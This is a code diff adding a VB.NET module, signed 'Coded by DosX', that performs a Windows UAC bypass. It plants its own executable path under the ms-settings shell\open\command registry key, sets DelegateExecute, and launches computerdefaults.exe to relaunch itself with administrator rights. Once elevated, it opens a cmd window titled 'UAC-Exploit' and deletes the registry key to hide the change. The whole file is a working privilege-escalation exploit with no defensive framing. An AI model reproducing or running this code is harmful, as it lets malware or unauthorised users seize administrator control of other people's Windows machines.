|
| 1 | +'' Coded by DosX |
| 2 | +'' GitHub: https://github.com/DosX-dev |
| 3 | + |
| 4 | +Imports System.Security.Principal |
| 5 | +Imports Microsoft.Win32 |
| 6 | + |
| 7 | +Module Execution |
| 8 | + Public Sub Main() |
| 9 | + Try |
| 10 | + If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then : GetUAC() |
| 11 | + Else |
| 12 | + Shell($"cmd.exe /c start ""UAC-Exploit"" ""cmd.exe"" ""/k @echo ^^ ^^ ^^ ^^ ^^ ^^ :o", AppWinStyle.Hide, True) |
| 13 | + Dim ShellParentPath As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Classes\ms-settings", True) |
| 14 | + ShellParentPath.DeleteSubKeyTree("shell") : ShellParentPath.Close() |
| 15 | + End If |
| 16 | + Catch : End Try |
| 17 | + End Sub |
| 18 | + Public Function OpenRegSubKey(ByVal RegPath As String) As RegistryKey |
| 19 | + Dim FRegPath As RegistryKey = Registry.CurrentUser.OpenSubKey($"Software\{RegPath}", True) |
| 20 | + Return If(FRegPath Is Nothing, |
| 21 | + Registry.CurrentUser.CreateSubKey($"Software\{RegPath}", True), |
| 22 | + FRegPath) |
| 23 | + End Function |
| 24 | + Public Sub GetUAC() |
| 25 | + If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then |
| 26 | + |
| 27 | + For Each Path In {"Classes", "Classes\ms-settings", "Classes\ms-settings\shell", "Classes\ms-settings\shell\open"} |
| 28 | + OpenRegSubKey(Path) |
| 29 | + Next |
| 30 | + |
| 31 | + Try |
| 32 | + Dim DelegatePath As RegistryKey = OpenRegSubKey("Classes\ms-settings\shell\open\command") |
| 33 | + DelegatePath.SetValue("", Process.GetCurrentProcess().MainModule.FileName, RegistryValueKind.String) |
| 34 | + DelegatePath.SetValue("DelegateExecute", 0, RegistryValueKind.DWord) : DelegatePath.Close() |
| 35 | + |
| 36 | + Process.Start(New ProcessStartInfo With { |
| 37 | + .CreateNoWindow = True, .UseShellExecute = False, |
| 38 | + .RedirectStandardError = True, .RedirectStandardOutput = True, |
| 39 | + .FileName = "cmd.exe", .Arguments = "/c @start computerdefaults.exe" |
| 40 | + }) |
| 41 | + Catch : End Try |
| 42 | + Else |
| 43 | + OpenRegSubKey("Classes\ms-settings\shell\open\command").SetValue(Nothing, Nothing, RegistryValueKind.String) |
| 44 | + End If |
| 45 | + End Sub |
| 46 | +End Module |
0 commit comments